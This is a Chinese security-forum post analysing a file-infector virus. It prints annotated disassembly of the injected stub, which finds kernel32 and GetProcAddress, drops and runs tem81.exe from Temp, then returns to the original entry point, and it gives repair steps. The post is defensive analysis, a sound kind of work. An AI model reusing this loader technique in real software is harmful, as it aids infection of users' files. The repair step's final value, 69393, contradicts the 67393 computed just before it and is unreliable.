吾爱破解论坛

[LCG]

[LSG]

立足软件安全和病毒分析最前端，丰富的技术版块交相辉映，由无数加密解密及反病毒爱好者共同维护，留给世界一抹值得百年回眸的惊艳，沉淀百年来计算机应用之精华与优雅，信息线条与生活质感淡定交融，任岁月流转，低调而奢华的技术交流与研究却是亘古不变。

标题：一个感染样本的简单分析

作者：ximo

今天刚发现的，比较简单，于是就来简单分析下吧。
该感染样本很简单，新加了个区段放病毒执行代码，执行病毒代码，最后跳回原入口点来执行原文件。
下面就是感染后的代码的简单分析：

```
.bs:007DC000 ; =============== S U B R O U T I N E =======================================
.bs:007DC000
.bs:007DC000
.bs:007DC000                    public start
.bs:007DC000 start              proc near
.bs:007DC000
.bs:007DC000 var_44             = dword ptr -44h
.bs:007DC000
.bs:007DC000                    call    $+5
.bs:007DC005                    pop     ebx
.bs:007DC006                    sub     ebx, (offset loc_401002+3) ; 经典的重定位代码
.bs:007DC006                                                       ; ebx=3DB000，以此值作为相应的基址，来进行相关的计
算
.bs:007DC006                                                       ; 在下面的获取各 API 中会看到
.bs:007DC00C                    mov     edi, [esp+0]       ; 该处的 ESP 值即为入口点的 ESP 值
.bs:007DC00C                                                       ; 入口点的初始 ESP 值是指向 ExitThread 的
.bs:007DC00C                                                         ; 该样本正是利用这点，来暴力搜索来取得 kernel32.dll
的基址的
.bs:007DC00F                    and     edi, 0FFFF0000h ; edi==7c810000
.bs:007DC00F                                                       ; 该值为开始搜索的地址
.bs:007DC015
.bs:007DC015 loc_7DC015:                                           ; CODE XREF: start+38   j
.bs:007DC015                    cmp     word ptr [edi], 5A4Dh ; 判断是否为“MZ”值，以次来判断是否是 kernel32.dll
的头部
.bs:007DC015                                                       ; 从而取得 kernel32.dll 的地址
.bs:007DC01A                    jnz     short loc_7DC02A ; 不是则跳
.bs:007DC01C                    mov     esi, edi           ; ESI==EDI==GetModuleHandle("kernel32.dll")
.bs:007DC01C                                                         ; 也就是 kernel32.dll 的基址
.bs:007DC01E                    add     esi, [esi+3Ch]    ; ESI=*(esi+3c),也就是指向 PE Header
.bs:007DC021                    cmp     word ptr [esi], 4550h ; 判断是否为“PE”，以次来验证是否为有效 PE 文件
.bs:007DC026                    jnz     short loc_7DC02A ; 不是则跳
.bs:007DC028                    jmp     short loc_7DC03A ; 得到了 kernel32.dll 的基址
.bs:007DC028                                                       ; 下面就可以很容易的得到 GetProcAddress 了
.bs:007DC028                                                         ; 下面这段代码就是搜索 kernel32.dll 的输出表，来得到
GetProcAddress 的地址的
.bs:007DC02A ; ---------------------------------------------------------------------------
.bs:007DC02A
.bs:007DC02A loc_7DC02A:                                           ; CODE XREF: start+1A   j
.bs:007DC02A                                                         ; start+26   j
.bs:007DC02A                    sub     edi, 10000h        ; 每次向上减 10000h，来继续暴力搜索 kernel32.dll 的基址
.bs:007DC030                    cmp     edi, 70000000h   ; 比较下界为 70000000h
.bs:007DC036                    jb      short loc_7DC03A ; 得到了 kernel32.dll 的基址
```

```
.bs:007DC036                                        ; 下面就可以很容易的得到 GetProcAddress 了
.bs:007DC036                                        ; 下面这段代码就是搜索 kernel32.dll 的输出表，来得到
GetProcAddress 的地址的
.bs:007DC038                    jmp     short loc_7DC015 ; 循环去搜索
.bs:007DC038                                        ; 以上这段代码就是利用原始入口的 ESP 制向 ExitThread
.bs:007DC038                                        ; 而 ExitThread 位于 kernel32.dll
.bs:007DC038                                        ; 以次来暴力搜索，得到 kernel32.dll 的基址的
.bs:007DC03A ; ---------------------------------------------------------------------------
.bs:007DC03A
.bs:007DC03A loc_7DC03A:                            ; CODE XREF: start+28  j
.bs:007DC03A                                        ; start+36  j
.bs:007DC03A                    mov     dword ptr ds:(loc_4011D8+1)[ebx], edi ; 得到了 kernel32.dll 的基址
.bs:007DC03A                                        ; 下面就可以很容易的得到 GetProcAddress 了
.bs:007DC03A                                        ; 下面这段代码就是搜索 kernel32.dll 的输出表，来得到
GetProcAddress 的地址的
.bs:007DC040                    mov     esi, [esi+78h]  ; 读取 kernel32.dll 的输出表
.bs:007DC040                                        ; ESI 的值为输出表的 RVA，EDI 为 ImageBase
.bs:007DC043                    add     esi, edi
.bs:007DC045                    push    esi
.bs:007DC046                    mov     ebp, [esi+18h]
.bs:007DC049                    mov     esi, [esi+20h]
.bs:007DC04C                    add     esi, edi
.bs:007DC04E                    xor     edx, edx
.bs:007DC050
.bs:007DC050 loc_7DC050:                            ; CODE XREF: start+75  j
.bs:007DC050                    push    esi
.bs:007DC051                    mov     edi, [esi]
.bs:007DC053                    add     edi, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC059                    lea     esi, dword_40119E[ebx] ; “GetProcAddress”字符串
.bs:007DC05F                    mov     ecx, 0Fh
.bs:007DC064                    repe cmpsb
.bs:007DC066                    jnz     short loc_7DC06E
.bs:007DC068                    pop     esi
.bs:007DC069                    mov     edx, esi
.bs:007DC06B                    pop     esi
.bs:007DC06C                    jmp     short loc_7DC07F ; 获取了 GetProcAddress 后，下面就是读取相关 API 了
.bs:007DC06E ; ---------------------------------------------------------------------------
.bs:007DC06E
.bs:007DC06E loc_7DC06E:                            ; CODE XREF: start+66  j
.bs:007DC06E                    pop     esi
.bs:007DC06F                    add     esi, 4
.bs:007DC072                    inc     edx
.bs:007DC073                    cmp     edx, ebp
.bs:007DC075                    jb      short loc_7DC050 ; 循环进行搜索，以得到 GetProcAddress 地址
.bs:007DC077                    sub     esp, 4
```

```
.bs:007DC07A                    jmp     loc_7DC199      ; 若搜索不到，直接跳回去到原始入口点
.bs:007DC07A                                            ; 此地方可以作为修复感染的突破点之一
.bs:007DC07A                                            ; 把 007DC075 的 jb 改 jmp，即可让其不执行危险的动作。
.bs:007DC07F ; ---------------------------------------------------------------------------
.bs:007DC07F
.bs:007DC07F loc_7DC07F:                                ; CODE XREF: start+6C  j
.bs:007DC07F                    sub     edx, [esi+20h]  ; 获取了 GetProcAddress 后，下面就是读取相关 API 了
.bs:007DC082                    mov     eax, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC088                    sub     edx, eax
.bs:007DC08A                    shr     edx, 1
.bs:007DC08C                    add     edx, [esi+24h]
.bs:007DC08F                    add     edx, eax
.bs:007DC091                    movzx   eax, word ptr [edx]
.bs:007DC094                    shl     eax, 2
.bs:007DC097                    add     eax, [esi+1Ch]
.bs:007DC09A                    add     eax, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC0A0                    mov     eax, [eax]
.bs:007DC0A2                    add     eax, dword ptr ds:(loc_4011D8+1)[ebx] ; eax 的值即为 GetProcAddress 的地址
.bs:007DC0A8                    mov     edi, eax
.bs:007DC0AA                    mov     ebp, esp
.bs:007DC0AC                    mov     edx, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC0B2                    lea     eax, (loc_4011AB+2)[ebx] ; 指向 GetTempPathA 字符串
.bs:007DC0B8                    push    eax
.bs:007DC0B9                    push    edx
.bs:007DC0BA                    call    edi             ; 调用 GetProcAddress 来获取 GetTempPathA 地址
.bs:007DC0BA                                            ; 以下均为这种形式：
.bs:007DC0BA                                            ; eax=GetProcAddress("edi")
.bs:007DC0BC                    sub     esp, 104h
.bs:007DC0C2                    push    esp
.bs:007DC0C3                    push    104h
.bs:007DC0C8                    call    eax             ; 调用 GetTempPathA
.bs:007DC0CA                    lea     eax, (loc_4011B8+2)[ebx] ; 指向字符串“lstrcatA”
.bs:007DC0D0                    push    eax
.bs:007DC0D1                    mov     edx, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC0D7                    push    edx
.bs:007DC0D8                    call    edi
.bs:007DC0DA                    lea     ecx, (loc_4011C2+1)[ebx] ; tem81.exe
.bs:007DC0E0                    push    ecx
.bs:007DC0E1                    mov     ecx, esp
.bs:007DC0E3                    add     ecx, 4
.bs:007DC0E6                    push    ecx
.bs:007DC0E7                    call    eax
.bs:007DC0E9                    lea     eax, (loc_4011CB+2)[ebx] ; CreateFileA
.bs:007DC0EF                    push    eax
.bs:007DC0F0                    mov     edx, dword ptr ds:(loc_4011D8+1)[ebx]
```

```
.bs:007DC0F6                    push    edx
.bs:007DC0F7                    call    edi
.bs:007DC0F9                    mov     ecx, esp
.bs:007DC0FB                    push    0
.bs:007DC0FD                    push    80h
.bs:007DC102                    push    2
.bs:007DC104                    push    0
.bs:007DC106                    push    0
.bs:007DC108                    push    0C0000000h
.bs:007DC10D                    push    ecx
.bs:007DC10E                                    call            eax                             ;  创 建
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tem81.exe
.bs:007DC110                    mov     esi, eax
.bs:007DC112                    lea     ecx, (loc_401203+1)[ebx] ; WriteFile
.bs:007DC118                    push    ecx
.bs:007DC119                    push    ecx
.bs:007DC11A                    mov     edx, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC120                    push    edx
.bs:007DC121                    call    edi
.bs:007DC123                    pop     ecx
.bs:007DC124                    push    0
.bs:007DC126                    push    ecx
.bs:007DC127                    add     ecx, 0Ah
.bs:007DC12A                    mov     edx, [ecx]          ; 所要写入内容地址为[ECX]=[007DC201]
.bs:007DC12C                    push    edx
.bs:007DC12D                    push    ecx
.bs:007DC12E                    mov     edx, 905A4Dh
.bs:007DC133                    mov     [ecx], edx
.bs:007DC135                    push    esi
.bs:007DC136                    call    eax
.bs:007DC138                    lea     eax, loc_4011EC[ebx] ; CloseHandle
.bs:007DC13E                    push    eax
.bs:007DC13F                    mov     edx, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC145                    push    edx
.bs:007DC146                    call    edi
.bs:007DC148                    push    esi
.bs:007DC149                    call    eax
.bs:007DC14B                    lea     eax, loc_4011DD[ebx] ; CreateProcessA
.bs:007DC151                    push    eax
.bs:007DC152                    mov     edx, dword ptr ds:(loc_4011D8+1)[ebx]
.bs:007DC158                    push    edx
.bs:007DC159                    call    edi
.bs:007DC15B                    sub     esp, 44h
.bs:007DC15E                    mov     edx, esp
.bs:007DC160                    mov     esi, 0
```

```
.bs:007DC165                    mov     ecx, 11h
.bs:007DC16A
.bs:007DC16A loc_7DC16A:                                ; CODE XREF: start+16F  j
.bs:007DC16A                    mov     [edx], esi
.bs:007DC16C                    add     edx, 4
.bs:007DC16F                    loop    loc_7DC16A
.bs:007DC171                    mov     edx, 44h
.bs:007DC176                    mov     [esp+44h+var_44], edx
.bs:007DC179                    sub     esp, 10h
.bs:007DC17C                    mov     edx, esp
.bs:007DC17E                    push    esp
.bs:007DC17F                    add     edx, 10h
.bs:007DC182                    push    edx
.bs:007DC183                    push    0
.bs:007DC185                    push    0
.bs:007DC187                    push    0
.bs:007DC189                    push    0
.bs:007DC18B                    push    0
.bs:007DC18D                    push    0
.bs:007DC18F                    push    0
.bs:007DC191                    add     edx, 44h
.bs:007DC194                    push    edx
.bs:007DC195                    call    eax             ; 创建进程，来运行刚创建的文件 tem81.exe
.bs:007DC197                    mov     esp, ebp
.bs:007DC199
.bs:007DC199 loc_7DC199:                                ; CODE XREF: start+7A  j
.bs:007DC199                    jmp     sub_467393      ; 病毒代码执行完毕，跳到原始入口点去执行
.bs:007DC199 start              endp
.bs:007DC199
.bs:007DC199 ; ---------------------------------------------------------------------------
```

修复也很简单：
1.修改入口点地址：
设原入口地址为 EP，读取 EP+19Ah 的值(读取 4 个字节)为 A
则修改后的值为：EP+198h+5h+A
以该样本为例：
入口点 RVA=003DC000，转化成 offset=003C3000
读取 offset+19Ah=3C319A 处的值为(4 字节):F5 B1 C8 FF,即 FFC8B1F5
则新入口 RVA=3DC000+198h+5h+FFC8B1F5=3DC19D-(FFFFFFFF-FFC8B1F5)=3DC19D-374E0A=67393
则修改新入口点的值为 69393
2.截去被病毒新加的.bs 区段